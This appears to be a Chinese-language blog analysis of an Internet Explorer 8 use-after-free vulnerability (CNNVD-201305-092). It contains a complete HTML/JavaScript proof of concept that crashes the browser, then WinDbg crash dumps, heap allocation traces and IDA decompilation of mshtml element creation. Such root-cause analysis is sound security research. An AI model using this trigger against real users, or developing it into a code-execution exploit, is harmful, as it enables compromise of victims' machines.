[CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092)
Microsoft Internet Explorer是美国微软（Microsoft）公司发布的Windows操作系统中默认捆绑的Web浏览器。
Internet Explorer
访问尚未正确初始化或已被删除的对象的方式中存在一个远程执行代码漏洞，该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式损坏内存。攻
击者可能拥有一个特制的网站，旨在利用此漏洞通过IE浏览器，然后诱使用户查看该网站。
POC:
<!doctype html> <!-- required --> <HTML> <head> </head> <body> <ttttt:whatever id="myanim"/><!-- required format --> <script> f0=document.createElement('span'); document.body.appendChild(f0); f1=document.createElement('span'); document.body.appendChild(f1); f2=document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; f2.appendChild(document.createElement('datalist')); //has to be a data list f1.appendChild(document.createElement('table')); //has to be a table try{ f0.offsetParent=null; //required }catch(e){ } f2.innerHTML=""; //required f0.appendChild(document.createElement('hr')); //required f1.innerHTML=""; //required CollectGarbage(); </script> </body> </html>
打开POC后造成的crash如下，已开启页堆和堆分配记录。
(4dc.8f0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=66c25100 ebx=17a72fb0 ecx=09106fc8 edx=00000000 esi=045fedc8 edi=00000000 eip=668ac400 esp=045fed9c ebp=045fedb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 668ac400 8b01 mov eax,dword ptr [ecx] ds:0023:09106fc8=????????
看一下附近的汇编，如下所示。是很明显的对象访问，看前三句就知道是去对象虚表，然后索引虚函数去调用。crash出现在ecx
1:017> u 668ac400 mshtml!CElement::Doc: 668ac400 8b01 mov eax,dword ptr [ecx] 668ac402 8b5070 mov edx,dword ptr [eax+70h] 668ac405 ffd2 call edx 668ac407 8b400c mov eax,dword ptr [eax+0Ch] 668ac40a c3 ret 668ac40b 33c0 xor eax,eax 668ac40d e9f7aeffff jmp mshtml!CAttrArray::PrivateFind+0x8f (668a7309) 668ac412 90 nop
我们看下ecx，如下所示，ecx是不可访的。那么我只需要关注一下ecx到底是什么就可以知道问题的关键了。
1:017> dc ecx 09106fc8 ???????? ???????? ???????? ???????? ???????????????? 09106fd8 ???????? ???????? ???????? ???????? ???????????????? 09106fe8 ???????? ???????? ???????? ???????? ???????????????? 09106ff8 ???????? ???????? ???????? ???????? ???????????????? 09107008 ???????? ???????? ???????? ???????? ???????????????? 09107018 ???????? ???????? ???????? ???????? ???????????????? 09107028 ???????? ???????? ???????? ???????? ???????????????? 09107038 ???????? ???????? ???????? ???????? ????????????????
看下ecx是否属于堆，如下所示，果然是属于堆的，而且根据堆的分配回溯这是已经释放的堆，明显的UAF漏洞。我们具体看下这是什么对象，
CGenericElement::`vector deleting destructor'
看来是CGenericElement对象的问题
1:018> !heap -p -a ecx address 097ecfc8 found in _DPH_HEAP_ROOT @ 12e1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 9771270: 97ec000 2000 770290b2 verifier!AVrfDebugPageHeapFree+0x000000c2 76f15674 ntdll!RtlDebugFreeHeap+0x0000002f 76ed7aca ntdll!RtlpFreeHeap+0x0000005d 76ea2d68 ntdll!RtlFreeHeap+0x00000142 7671f1ac kernel32!HeapFree+0x00000014 6793b9a8 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d 67ab7dd0 mshtml!CBase::SubRelease+0x00000022 67aac482 mshtml!CElement::PrivateRelease+0x0000002a 67aab034 mshtml!PlainRelease+0x00000025 67b0669d mshtml!PlainTrackerRelease+0x00000014 687da6f1 jscript!VAR::Clear+0x0000005f 687f6d66 jscript!GcContext::Reclaim+0x000000b6 687f4309 jscript!GcContext::CollectCore+0x00000123 68858572 jscript!JsCollectGarbage+0x0000001d 687e74ac jscript!NameTbl::InvokeInternal+0x00000141 687e4ea4 jscript!VAR::InvokeByDispID+0x0000017f 687ee3e7 jscript!CScriptRuntime::Run+0x00002b80 687e5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce 687e5bfb jscript!ScrFncObj::Call+0x0000008d 687e5e11 jscript!CSession::Execute+0x0000015f 687e612a jscript!COleScript::ExecutePendingScripts+0x000001bd 687ec2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4 687ec0f1 jscript!COleScript::ParseScriptText+0x00000030 67a668c7 mshtml!CScriptCollection::ParseScriptText+0x00000218 67a666bf mshtml!CScriptElement::CommitCode+0x000003ae 67a66c35 mshtml!CScriptElement::Execute+0x000000c6 67a482b5 mshtml!CHtmParse::Execute+0x0000004a 67a277cf mshtml!CHtmPost::Broadcast+0x0000000f 67a27f36 mshtml!CHtmPost::Exec+0x000005f7 67a28a99 mshtml!CHtmPost::Run+0x00000015 67a289fd mshtml!PostManExecute+0x000001fb 67a27c66 mshtml!PostManResume+0x000000f7
为了验证我们的猜测，我们来看下这个发生UAF的对象是怎么分配的。我们先对这个对象的析构函数下断，操作如下。
重新加载进程，别忘了设置.childdbg 1。每次运行都要重新设置感觉好烦，不知道怎么设置保存下来。断在如下所示位置
我们来看一下堆的分配情况
1:018> dc esp 0478b104 00000000 0478b118 0478b120 17c0cff0 ......x. .x..... 0478b114 0478b1ac 00000000 00000000 04780000 ..x...........x. 0478b124 0478b268 1043ee18 00000000 00000004 h.x...C......... 0478b134 0478b168 68660521 00000000 00000000 h.x.!.fh........ 0478b144 00000000 92627e19 0ef3eff0 0ee52ff0 .....~b....../.. 0478b154 0478b1ac 0478b148 0478b1bc 686b4575 ..x.H.x...x.uEkh 0478b164 00000000 0478b184 686a9379 17c0cff0 ......x.y.jh.... 0478b174 00000000 00000000 00000006 00000000 ................ 1:018> !heap -p -a 17c0cff0 address 17c0cff0 found in _DPH_HEAP_ROOT @ 1161000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 18263618: 17c0cff0 c - 17c0c000 2000 mstime!MMBaseBvr::TEBvr::`vftable' 737e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77917d96 ntdll!RtlpAllocateHeap+0x000000c4 778e34ca ntdll!RtlAllocateHeap+0x0000023a 6864137f mstime!ATL_malloc+0x00000016 6865f084 mstime!MMBaseBvr::Init+0x00000051 68665a60 mstime!MMTimeline::Init+0x00000071 6865d07a mstime!CTIMEElementBase::InitTimeline+0x000000aa 68656c68 mstime!CTIMEBodyElement::InitTimeline+0x0000001a 6865d1b1 mstime!CTIMEElementBase::OnPropertiesLoaded+0x00000018 6869bc4e mstime!CBaseBvr::Load+0x0000000e 6865de26 mstime!CTIMEElementBase::Load+0x0000002d 6865778d mstime!CTIMEBodyElement::Load+0x0000002d 66974892 mshtml!CPeerHolder::InitAttributes+0x000000a9 668675d0 mshtml!CPeerHolder::AttachPeer+0x000000b8 668674b4 mshtml!CPeerHolder::Create+0x00000059 6671fb66 mshtml!CPeerFactory::AttachPeer+0x0000000f 668745d9 mshtml!CDoc::AttachPeer+0x0000013c 668746e5 mshtml!CElement::addBehavior+0x000000d9 6864ec3f mstime!AddBodyBehavior+0x000000a6 686583ea mstime!CTIMEElementBase::Init+0x00000207 6866a0b6 mstime!CTIMEAnimationBase::Init+0x0000002d 668675a3 mshtml!CPeerHolder::AttachPeer+0x00000093 668674b4 mshtml!CPeerHolder::Create+0x00000059 6686a1c5 mshtml!CPeerFactoryUrl::AttachPeer+0x00000029 66a5fc74 mshtml!CPeerFactoryUrl::AttachPeer+0x00000012 668745d9 mshtml!CDoc::AttachPeer+0x0000013c 66a3deb5 mshtml!CElement::EnsureIdentityPeer+0x00000044 66986ca6 mshtml!CHtmPost::Exec+0x00000460 66828a99 mshtml!CHtmPost::Run+0x00000015 668289fd mshtml!PostManExecute+0x000001fb 66827c66 mshtml!PostManResume+0x000000f7
到这里我们对于这个对象的分配和重利用都摸清楚了。但是还是不清楚漏洞为何会触发，接下来从poc的解析入手来分析一下为什么会触发这个漏洞。首先调用createElement方法创建一个元素，这个函数只要是接触过js的都肯定用到过，但是查看他的C++实现还是第一次。首先要对mshtml加载符号表。在IDA中搜索函数createElement就可以得到下面的结果，可以看到CDocument::createElement，这个CDocument就是js中的document对象。
__int32 __stdcall CDocument::createElement(CDocument *this, BSTR a2, struct IHTMLElement **a3) { CBase *v3; // ecx@1 __int32 v4; // edi@1 *a3 = 0; v4 = CDocument::CreateElementHelper(a2);//看来主要功能都在这里实现 if ( !v4 )//错误处理 { v4 = (*(int (__stdcall **)(_DWORD, GUID *, struct IHTMLElement **))(v0 + 216))(0, &IID_IHTMLElement, a3); (*(void (__stdcall **)(_DWORD))(v0 + 224))(0); } return CBase::SetErrorInfo(v3, v4); }
CDocument::CreateElementHelper()的代码如下
int __userpurge CDocument::CreateElementHelper@<eax>(int a1@<eax>, CDocument *a2@<ecx>, CDocument *a3@<edi>, BSTR a4) { int v4; // esi@1 struct CDoc *v5; // eax@2 CTLSScriptSourceInfo *v6; // ecx@2 UINT v7; // ST0C_4@2 struct CMarkup *v8; // eax@2 int v9; // esi@2 CTLSScriptSourceInfo *v10; // ecx@2 char v12; // [sp+7h] [bp-1h]@2 v4 = a1; *(_DWORD *)a1 = 0; if ( a4 ) { CDocument::Doc(a2); v5 = CDocument::Markup(a3); CTLSScriptSourceInfo::CTLSScriptSourceInfo(v6, (struct CBase *)&v12, a3, v5); v7 = SysStringLen(a4); v8 = CDocument::Markup(a3); v9 = CMarkup::CreateElement(v8, v4, a4, v7); CTLSScriptSourceInfo::~CTLSScriptSourceInfo(v10); } else { v9 = -2147024809; } return v9; }
接着跟进 CMarkup::CreateElement()
public: long __stdcall CDocument::createElement(unsigned short *, struct IHTMLElement * *) ?createElement@CDocument@@QAGJPAGPAPAUIHTMLElement@@@Z proc near var_4= dword ptr -4 arg_0= dword ptr 8 arg_4= dword ptr 0Ch arg_8= dword ptr 10h mov edi, edi push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_8] and dword ptr [ebx], 0 push esi push edi push [ebp+arg_4] ; BSTR mov edi, [ebp+arg_0] lea eax, [ebp+var_4] call ?CreateElementHelper@CDocument@@QAEJPAGPAPAVCElement@@@Z ; CDocument::CreateElementHelper(ushort *,CElement * *) mov edi, eax test edi, edi jnz short loc_74D21DF2
再跟进CreateElement
.text:74D64BCC movzx eax, byte ptr [edi+1] .text:74D64BD0 shl eax, 4 .text:74D64BD3 add eax, offset ?g_atagdesc@@3QBVCTagDesc@@B ; CTagDesc const * const g_atagdesc .text:74D64BD8 jz loc_74EB9A91 .text:74D64BDE mov eax, [eax+8] .text:74D64BE1 lea ecx, [ebp+arg_8] .text:74D64BE4 push ecx .text:74D64BE5 push edx .text:74D64BE6 push edi .text:74D64BE7 call eax
就是说CDocument::createElement这个函数会根据不同的创建目标调用不同的创建函数，poc中js是这么写的
f0=document.createElement('span');
那么CDocument::createElement调用的也就是CSpanElement::CreateElement函数了。我们在IDA中找一下这个函数
signed int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3) { LPVOID v3; // esi@1 struct CElement *v4; // eax@2 v3 = HeapAlloc(g_hProcessHeap, 8u, 0x28u); if ( v3 ) { CElement::CElement(91, a2); *(_DWORD *)v3 = &CSpanElement::`vftable'; v4 = (struct CElement *)v3; } else { v4 = 0; } *a3 = v4; return v4 != 0 ? 0 : -2147024882; }
这里可以看到分配了一块堆内存
int __userpurge CElement::CElement@<eax>(int a1@<eax>, char a2, int a3) { int v3; // ebx@1 int v4; // edi@1 CElement *v5; // ecx@1 v3 = a3; v4 = a1; CBase::CBase(); *(_DWORD *)(v4 + 36) = 0; *(_DWORD *)v4 = &CElement::`vftable'; (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 112))(v3); CElement::ReplaceSecurityContext(v5); *(_DWORD *)(v3 + 8) += 8; _IncrementObjectCount(); *(_DWORD *)(v4 + 28) &= 0xFFFBFFFF; *(_BYTE *)(v4 + 32) &= 0xFEu; *(_BYTE *)(v4 + 24) = a2; return v4; }
我们可以在这里学到：每个DOM元素创建时都会经过CElement::CElement函数来初始化，如果想拦截元素创建就对这里下断，因为这里是元素创建的必经之路。